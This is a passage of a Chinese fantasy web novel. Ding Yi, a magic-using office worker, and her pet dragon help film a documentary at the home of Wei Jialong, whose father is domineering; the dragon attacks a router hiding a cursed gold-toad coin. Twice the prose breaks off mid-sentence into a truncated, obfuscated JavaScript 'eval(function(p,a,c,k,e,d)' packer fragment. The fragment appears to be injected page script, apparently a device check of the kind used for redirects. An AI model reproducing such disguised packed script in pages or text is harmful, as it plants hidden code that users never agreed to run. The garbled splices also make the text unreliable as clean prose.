什么真意,什么去芜存菁。法术和AI一样,根本救不了她这头随时要被工作淹死的职场牛马。 魏家隆中午才到家,他发来消息,希望老杨下午再过来拍摄。 最终,老杨还是拉上了丁依。他承诺:如果拍摄顺利,就放丁依找个角落继续填表格。 出门前,丁依明明没有带上龙,没想到进魏家隆家门前,它还是神出鬼没地从她的帆布袋子里钻了出来。 龙探出头,嗅了嗅魏家的门把手,脖颈处的鳞片微微炸起,如果不是丁依抬手就是一个大比兜,它估计还想发出呜呜的低吼。 看见龙这副样子,丁依有一种预感——一会儿拍摄时,她应该没法顺利地躲去角落里,填张铭那些该死的表格了。 果然,现场对拍摄计划时,魏家隆皱着眉问老杨: “我确认下,你们这个纪录片,非得拍我家里人吗?” 拍摄方案老杨早就发给过魏家隆本人,里面明确写了希望采访他的父母和爷爷。当时魏家隆并没有说不行,现在似乎又想改口。老杨有些无措,求助地看向丁依。 丁依代替老杨开口:“是指采访您父母和爷爷的部分?如果您不愿意,我们随时可以把这趴删掉。作为代替,您建议我们拍什么?尽管和我们说,我们肯定充分尊重您的意见。” 魏家隆顿住,显然他也没有头绪。 他又看了眼一旁的小虞——他的“救命恩人”,犹豫半响,叹了口气:“不是我不配合你们……算了,既然没有备选方案,就先采访我家人试试看吧。” 魏家隆继续和老杨对台本,赵叮当偷偷和丁依说悄悄话:“早就听说魏家隆难搞,这次算亲眼见到了。” 丁依耸耸肩:“就算他真的难搞,遇到有人落水,他还不是跟着一起跳下去了?论迹不论心吧。” 赵叮当这才想起丁依是#魏家隆为救人落水#的女主人翁。她马上把刚刚的吐槽忘了,开始向丁依吃瓜:“当时魏家隆在水下抱着你,你什么感觉?” 丁依回忆了一下和昏迷的魏家隆一起裹在小蚌精臭烘烘的珍珠质里的感受,诚恳地回答:“昏迷了,不记得了。” 听魏家隆之前的意思,明显是不想他们拍自己家人,丁依还以为他家长辈肯定不知道今天有拍摄。 没想到,魏爸爸和魏爷爷出来时,一个西装革履还打了领带,一个穿着考究的暗纹唐装,稀疏花白的头发梳得一丝不苟,显然都是早有准备。 倒是魏家隆妈妈,一身穿旧了的家居服,手上还戴着沾着油渍的袖套,头发随意地扎在脑后,像是刚从厨房被叫出来的样子。 魏爸爸和魏爷爷端坐在餐厅的红木椅子上,听老杨说明纪录片的拍摄内容。 据说,魏爸爸退休前,是体制内的一个小领导。他翘着二郎腿听老杨讲解的样子,确实颇有领导的派头。 不过,听到老杨希望采访魏家隆妈妈的部分时,他突然摆摆手,示意老杨停下。 老杨一脸迷茫,听魏爸爸对他道:“导演,你的这个拍摄计划非常好,我呢,就提一个意见——他妈妈,你们就不用采访了。” “这……您的意思是……” “我为什么说他妈妈不用采访呢?是因为没必要。”魏爸爸拿腔拿调地道。“她一个妇道人家,平时生活里嘛,就是做饭拖地,刷刷短视频,不爱学知识,连电脑都不用不明白,当着摄像机,能说些什么?而且,我以前是当领导的,现在南江市的副市长,以前还是我的老下属,她要是上电视说错了话,这个影响就太大了。” 他说完这番话,无人接话。 魏爷爷已经坐着睡着了,还打起了鼾。魏家隆妈妈则手足无措地摩挲着袖套。魏家隆站在一旁,下巴绷得紧紧地,不知是什么意思。 丁依和老杨互看了一眼,都从对方的眼里看到了尴尬。 她正要开口时,魏家隆打破了沉默。 “导演,”他脸色阴沉,和老杨说道,“你是专业的,就按你的原计划拍,该采访谁就采访谁。” 魏家隆爸爸脸上挂不住,转而教训自己儿子:“你这么大人了,怎么还这么不会说话?好像我嫌弃人家导演似的。” 他转头跟老杨说,“导演,我绝对不是批评你的拍摄计划,但我们家情况,你一个外人,肯定不如我知道的清楚,魏家隆他妈吧,平时就爱做个家务,也不像有的女人爱读书爱画画,你说这要上了电视,能说怎么做家务的吗……” “爸!”魏家隆打断,“你不是还要‘上班’吗?这都下午2点半了。” 魏爸爸看了眼钟,一拍大腿:“哎哟!还真是!”他赶紧和老杨道歉,“导演,真不好意思,下午三点前我都要‘上班’,等‘下班’了,我再来接受您的采访。” 说完,他就快步钻进了书房。 老杨看着魏家隆,奇怪道:“您爸爸不是退休了,怎么还要‘上班’?” “什么‘上班’,就是炒股,”魏家隆无奈地苦笑。他解释道,“下午三点,是股市休市的时间。我爸每天上午九点到下午三点都要守着他的K线图,他把这叫作‘上班’。” 众人这才恍然大悟。 听说老杨要采访自己,魏家隆妈妈第一反应也是拒绝。 “他爸说得对,我确实不会说话,嘴笨,不像他爸是做领导的,能说会道。而且我手上还有一堆家务要做,碗我还没洗好,我还要擦地、洗衣服、种花、准备晚上的菜……” 看着自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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魏家是一间二层楼的小复式。丁依先是在无人处,用“焕然一新”清理干净了两层屋子的地板。又进了卫生间,把泡着的脏衣服都洗了,然后她弹指一挥,洗好的衣服就被包裹成一大团,随她上了二楼的阳台。 一打开阳台门,丁依就被入眼的景象所惊艳。 阳台上,满满当当地摆满了各色植物鲜花。一株株花草打理得极好——茉莉正开着雪白的小花,薄荷散发着清冽的香气,矮牵牛垂挂在栏杆边,而正中央的月季,被修剪成优雅的弧度。 花盆里的土壤上,还点缀着各色可爱的摆件——歪头的小鸟,淘气的小松鼠,误入的小矮人。显然都是主人精心挑选购置。 原来秦阿姨那双粗糙的手,和有点脏的袖套,还能培育出这样一方诗意灵动的天地。 丁依手一挥,把衣服晾好。又施“控水术”引来流水,浇灌这处小花园。 偶有这种时候,她又心生满足——法术纵然百无一用,但偶尔还是能做一些小事。 突然,楼下传来一声怒喝。 丁依赶紧下楼。 只见魏爸爸怒发冲冠地站在客厅,不复刚才的故作儒雅,脸气得通红,指着客厅角落一处,大吼道:“谁!是谁把路由器拔了!偏偏在我最关键的一笔交易前,知道我损失了多少钱吗?是谁!!” 丁依一眼扫过去,见众人都一脸莫名,只有人鱼面色复杂,她暗叫不好。 她偷偷挪了几步,看魏爸爸手指着的方向。 果然,在被拔掉的路由器,和散落一地的网线旁,正蹲着一条熟悉的身影—— 小龙伏低身子,专注地盯着还在闪烁的路由器,似乎还想再补一爪子。 38. 第 38 章 采访正式开始后,老杨发现——比路由器被拔问题更严重的,是魏父的脑回路。 “要说做哪一行有前途吧,还得是搞理财!我有个侄子,最近进了理财公司,他们公司有款产品年化收益率特别高,一般人买不着,我侄子老板叮嘱他,一定要给我留一个名额。你说他老板为什么要给我留名额?还不是看重我的人脉!你们年轻人不懂,人脉的积累就是你一辈子最大的财富,别看我退休了,这么多年积攒的人脉,可都还在呢!” 看着眼前魏父说得口沫横飞的样子,老杨怎么也回忆不起来,话题是怎么从“魏家隆的音乐才华”,转移到“人脉就是一辈子最大的财富”上的。 笔记本上原本列好的问题清单,早已被划得乱七八糟。老杨在心里叹了口气——这场采访的素材,十有八九是用不进纪录片里了。 魏家隆本人,似乎早就预料到了他爸爸会在摄像机前大放厥词。这边一开拍,他就躲去厨房给秦阿姨打下手,徒留老杨他们几个外人,被魏父过于膨胀的自我挤得喘不过气来。 同样逃过一劫的还有丁依。 丁依借口说自己要打电话,揪着龙的后颈,把僵硬得像大理石雕像一样的小龙,拎上了二楼的小阳台。 关上阳台门,丁依放下龙,一把撕掉了它脖子上贴着的石化符:“来吧,告诉我,刚刚是怎么回事?” 终于摆脱石化符的束缚,龙猛地抖了抖全身的鳞片。 石化符让它浑身都难受极了,即使符咒已经被撕掉,它还是觉得每一片鳞片都僵硬无比。 为了放松身体,龙把前爪向前伸展,后爪向后蹬直,上半身伏低,龙尾高高翘起,龙身被拉成一道弧线,活像一只正在做下犬式的巨型蜥蜴。 等到鳞片间的缝隙都舒展开来后,龙才恢复正常的姿势。它环视了一圈周围琳琅满目的花草,选了块角落里的小空地紧紧地缩着,爪子小心地避开了花盆,一条长尾巴牢牢圈在身前,像个小学生一样蹲在墙角。 做完这一切,龙转头看到丁依的脸,蓝眼睛立刻眯了起来,鼻孔狠狠地喷出一股热乎乎的龙息,再次把头扭开。 丁依用手敲了敲花盆,示意龙看自己:“来,你先别生气了。告诉我,干嘛要把人家路由器拆掉?” 龙把头扭得更偏,不肯和她对视,喉咙里发出摩托车似的呜咽声。 “不肯说?那我自己来猜。你把那个路由器拍掉,是想找这个吧?” 说着,丁依手轻轻一晃,从虚空中取出了什么。 只见她的食指和中指之间,夹着一枚外圆内方的铜币,表面刻着模糊的蟾蜍图案——正是一枚金蟾币。 见到金蟾币的瞬间,龙的瞳孔缩成了一条细线。 它颈后的鳞片炸起,前爪一蹬,张嘴就往金蟾币上扑。 果然。 丁依见状,眼疾手快地塞了一把什么进龙嘴里。 龙下意识地“嗷呜”合上嘴,结果咬了个满嘴酥脆。伴随着嘎吱嘎吱,饼干碎屑从它的嘴角簌簌落下。 趁龙愣神,丁依飞快地搂过龙脑袋,死命揉了揉它后颈的鬃毛,又伸出手指熟练地挠着它下颚处细软的鳞片。 这几处都是龙身上最柔软敏感的地方,它的身体立刻有了反应。明明前爪还保持着扑击的姿势,尾巴却诚实地在地上扫来扫去。 这一切发生的太快了,龙圆圆的蓝眼睛里,此刻盛满了大大的疑惑, 嘴里这是什么,怎么越嚼越香? 刚刚发生了什么? 好像有什么东西出现过。 想发火,但又忘了为什么…… 龙的腮帮子鼓鼓的,嘴巴下意识又嚼了两下。 好迷茫啊……嚼嚼嚼嚼嚼。 丁依揉着怀里的龙脑袋,心想——这条龙,果然还是对金蟾币应激。 刚刚,发现路由器断了后,魏父先是冲到客厅大吵大嚷,又急匆匆地把路由器装好回了书房,也不知他说的“最关键的一笔交易”最后成了没有。 整个过程中,龙一直蠢蠢欲动、不肯消停,总想往路由器上扑。它的反应,引发了丁依的注意。 无奈之下,丁依只好用一张石化符直接定住了它。但龙如此执着地逮着路由器攻击,也让她断定——那路由器上一定有什么。 等众人散去,她在路由器上一番摸索,果然发现了猫腻—— 用透明胶贴在路由器机底的,这枚金蟾币。 这让丁依陷入了思考。 龙对金蟾币这么敏感,不可能只是因为金蟾币上有妖气。 人鱼那么大一条水妖天天在它旁边,它俩不也玩得好好的? 之前戌铃说,这金蟾币无甚问题,但看龙的反应,十有八九里面还是有其它玄机。既然戌铃也看不出来,也许这玄机,是专门针对龙族的。 袖里乾坤中,还装着戌铃给的服下可让妖怪镇定的药丸,但是药三分毒,不到万不得已,丁依不想用药来强行压制龙的身体反应。 这金蟾币到底有何特殊?她还是想搞明白。 正思索着,身后传来开门的声音。 丁依猛地一惊,下意识把龙收回包里,一转头,她的目光和走进阳台的魏家隆撞个正着。 魏家隆没想到在自家阳台碰见丁依,神情有些意外。 丁依赶紧解释:“不好意思,我要打电话,屋里信号不好,所以擅自进了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我觉得您不是自私,”丁依想了想,还是斟酌着措辞开了口,“真正自私的人,不可能会跳水救人,”她顿了顿,继续道,“您会担心自己自私,也许只是太习惯把责任往自己身上揽了,您该多看看您爸爸——他估计从来不觉得错在他身上吧?” 丁依正说着,突然感觉帆布包里在动——龙呆不住了。 见魏家隆一副想要接话的样子,丁依想起金蟾币的事还没问,赶紧抢先问道: “话说,令尊信不信什么玄学?” 魏家隆愣了愣。 他没想到她画风转得那么快,一下子把他从刚刚莫名的思绪中扯了回来。 “玄学?是指道士施法、术士算卦那种吗?我爷爷倒是信这个。至于我爸爸……”魏家隆仔细回忆了一下,“他其他的坏毛病虽然多,但神神叨叨那一套,他是从来都不信的。”